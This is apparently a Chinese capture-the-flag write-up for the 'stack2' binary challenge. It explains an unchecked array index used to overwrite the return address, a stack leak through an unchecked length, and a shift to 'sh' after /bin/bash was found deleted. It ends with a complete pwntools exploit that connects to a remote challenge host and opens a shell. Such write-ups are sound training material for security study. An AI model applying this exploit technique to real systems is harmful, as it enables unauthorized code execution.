Contents

一个根据数据求平均数的程序,在change num的时候,对于要改变的数字的序号没有检查,可以导致数组越界.我们可以利用数组越界来修改栈上的数据.

接下来需要知道返回地址的偏移是多少,由于我们这里是在main函数上,无法简单计算偏移.在本地上,我是这样寻找的
首先我多次查看ldd的结果,发现libc的高位始终是0xf7
然后又在main函数的最后ret指令处下了个断点,开gdb看,发现ret时栈顶的数据是__libc_start_main+247,247加上这个函数的偏移,也不会使高位地址0xf7改变
接着我发现,在程序刚开始运行,初始化数组时对输入的数组长度也没有检查,当我输入大于100的数字时,虽然只会读入最多100个数,但是长度却被保留了下来.当我选择输出所有数字时,就可以泄漏栈上的数据
格式如下:

1
2
3
4
5
6
0\t\tx
1\t\tx
2\t\tx
....
100\t\tx
101....

可以看到超过100长度任会输出,对于0xf7,这里%d的输入为-9,我这里输入了一个很大的长度,读取了1000条数据,然后我把所有数据拉下来复制到文本文件中,再使用

1
cat data | grep \\-9

查看所有输出-9的偏移量,这个时候就可以写脚本了,暴力的把所有带-9的地址换成hackhere函数的地址,于是得到了shell

然后改成remote我发现:
服务器上的/bin/bash被删了
这就让我有点思考人生,暂时没有思路,我就先把返回地址的准确偏移找出来,一个一个删除偏移,测试哪个是真正的返回地址.最后找到偏移132(高位135)存储的返回地址
回过头来,尝试把/bin/bash截断成sh直接起shell
开始我构造的是callsystem+ret+’sh’地址,没能成功,想了半天,才想起来这里的返回地址覆盖的是call()的地址而不是system()的实际地址,所以’sh’的地址要紧挨着callsystem(其实直接返回plt不就好了)
最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
#context.log_level = 'debug'
def change(index,value):
io.sendline('3')
io.recv()
sleep(0.1)
io.sendline(index)
io.recv()
sleep(0.1)
io.sendline(value)
io.recv()
sleep(0.1)
#io = process('./stack2')
io = remote('47.96.239.28',2333)
l = [135]
io.recv()
io.sendline('1')
io.recv()
io.sendline('1')
io.recv()
for i in l:
change(str(i),'8')
change(str(i-1),'4')
change(str(i-2),'133')
change(str(i-3),'180')
change('136','135')
change('137','137')
change('138','4')
change('139','8')
io.sendline('5')
io.interactive()

Contents